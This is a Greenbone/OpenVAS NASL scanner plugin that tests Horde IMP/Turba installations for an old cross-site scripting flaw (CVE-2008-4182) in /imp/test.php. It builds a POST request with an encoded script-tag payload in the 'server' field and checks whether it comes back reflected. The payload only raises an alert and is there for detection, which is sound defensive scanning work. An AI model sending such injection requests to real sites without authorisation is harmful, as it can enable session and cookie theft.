Horde Turba Contact Manager '/imp/test.php' XSS Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:horde:imp";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100724");
  script_version("2024-07-23T05:05:30+0000");
  script_tag(name:"last_modification", value:"2024-07-23 05:05:30 +0000 (Tue, 23 Jul 2024)");
  script_tag(name:"creation_date", value:"2010-07-27 20:48:46 +0200 (Tue, 27 Jul 2010)");
  script_cve_id("CVE-2008-4182");
  script_name("Horde Turba Contact Manager '/imp/test.php' XSS Vulnerability");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("imp_detect.nasl");
  script_mandatory_keys("horde/imp/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/31168");

  script_tag(name:"summary", value:"Turba Contact Manager is prone to a cross-site scripting (XSS)
  vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script code
  in the browser of an unsuspecting user in the context of the affected site. This may let the attacker
  steal cookie-based authentication credentials and launch other attacks.");

  script_tag(name:"affected", value:"Turba Contact Manager H3 2.2.1 is vulnerable. Other versions may also
  be affected.

  Note that this issue also affects Turba on Horde IMP.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! dir  = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

ex = "server=%3Cscript%3Ealert%28%27vt-xss-test%27%29%3C%2Fscript%3E&port=1&user=2&passwd=3&server_type=imap&f_submit=Submit";
url = dir + "/test.php";

host = http_host_name( port:port );

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Accept-Encoding: identity\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(ex),
             "\r\n\r\n",
             ex);
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( ! res )
  exit( 0 );

if( res =~ "^HTTP/1\.[01] 200" && egrep( pattern:"<script>alert\('vt-xss-test'\)</script>", string:res, icase:TRUE ) ) {
  report = http_report_vuln_url( url:url, port:port );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );